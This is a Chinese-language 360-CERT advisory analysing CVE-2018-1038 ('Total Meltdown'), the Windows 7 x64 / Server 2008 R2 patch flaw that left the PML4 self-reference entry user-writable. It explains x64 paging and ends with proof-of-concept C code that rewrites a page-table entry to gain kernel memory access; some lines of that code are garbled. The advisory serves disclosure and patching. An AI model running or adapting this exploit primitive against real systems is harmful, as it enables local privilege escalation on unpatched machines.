CVE-2018-1038: 微软TotalMeltdown漏洞分析预警-安全客

报告编号： B6-2018-033001

报告来源： 360-CERT

报告作者： 360-CERT，360安全卫士

更新日期： 2018-03-30

0x00 漏洞概述

近日，微软2018年1月和2月的Windows7 x64 和 Windows Server 2008 R2安全补丁中被发现存在严重漏洞(Total Meltdown)，补丁中错误地将PML4权限设定成用户级，导致任意用户态进程可对系统内核进行任意读写。

360-CERT对此漏洞进行了相关的分析，建议相关受影响用户可以通过360安全卫士进行补丁升级。

0x01 漏洞影响面

漏洞危害等级：高危

漏洞编号：CVE-2018-1038

影响版本：

Windows 7 x64

Windows Server 2008 R2

0x02 x64分页原理

Intel X64使用的是四级分页模式：PML4(Page Map Level 4)，PDPT(Page Directory Pointer)，PD(Page Directory)，PT(Page Table Entry)。

每张表有512个条目，所以理论上64位CPU可以寻址512*512*512*512*4KB=256TB的内存，但是由于48位物理地址的限制，实际上有效的虚拟地址属于下面这两个范围：0至7FFF’FFFFFFFF(512GB*256)或FFFF8000’00000000至FFFFFFFF’FFFFFFFF(512GB*256)。

微软采取了一种称为self-ref entry(自引用条目)的技术，在最高级别的页表中有一个条目指向自己。在64位系统中，任意自引用条目使用的物理地址应该指向PML4基地址的物理地址，与CR3寄存器所指向的地址相同。

0x03 漏洞细节

在Windows7 x64和Windows Server 2008 R2中，系统将PML4表中0x1ED这个固定位置存放指向自己的入口，对应的虚拟地址计算如下：

viraddr
=0xFFFF000000000000+(0x1ed<<12)+(0x1ed<<21)+ (0x1ed<<30)+ (0x1ed<<39)
=0xFFFFF6FB7DBED000

而安装完1月和2月安全更新后系统将虚拟地址0xFFFFF6FB7DBED000指向的内存权限错误地设置为用户态可读，漏洞原理如下。四级分页结构: PML4、PDPT、PD、PT

由于PML4自引用的权限位为可读可写

所以利用自引用，黑客可以任意修改PML4、PDPT、PD、PT中的任意数据

正常虚拟地址到物理地址的映射:

PML4—–PDPT—–PD——-PT—-PAGE—–PAddr

利用自引用访问受保护的数据:

第一步修改页保护位(假设地址对应的PML4、PDPT、PD、PT对该用户来说都是可读可写，如果不，原理跟此一样)，首先想办法获得与该页对应的PTE(利用自引用)地址：

方法: PML4—–PML4—-PDPT——PD—–PT——-PTE

修改保护位为可读可写。

第二步：直接修改数据(由于第一步已经修改权限位，所以不会引发异常)

证明代码如下：

#include 
#include
#include 

#define QWORD unsigned long long

#define BASE 0xFFFF000000000000

#define PML4 0xFFFFF6FB7DBED000

#define PML4SELF_IDX 0x1ed

QWORD getAddr(QWORD base,QWORD pml4Idx,QWORD pdptIdx,QWORD pdIdx,QWORD ptIdx,QWORD offsetIdx);


void testAddr(unsigned char *p);

int main(int argc, char *argv)
{
    unsigned char *p = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 0);//到达PDPT

    testAddr(p);

    QWORD *pte = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 8);
    printf("%ulld\n", *pte);
    *pte = (*pte | 7);

    testAddr(p);

    return 0;
}


QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx) {
    return base = base + offsetIdx + (ptIdx<<12) + (pdIdx<<21) + (pdptIdx<<30) + (pml4Idx<<39);
}

void testAddr(unsigned char *p) {
    __try {
        int i = *p;
        printf("access 0x%p sucess\n", p);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("access 0x%p error\n", p);
    }
}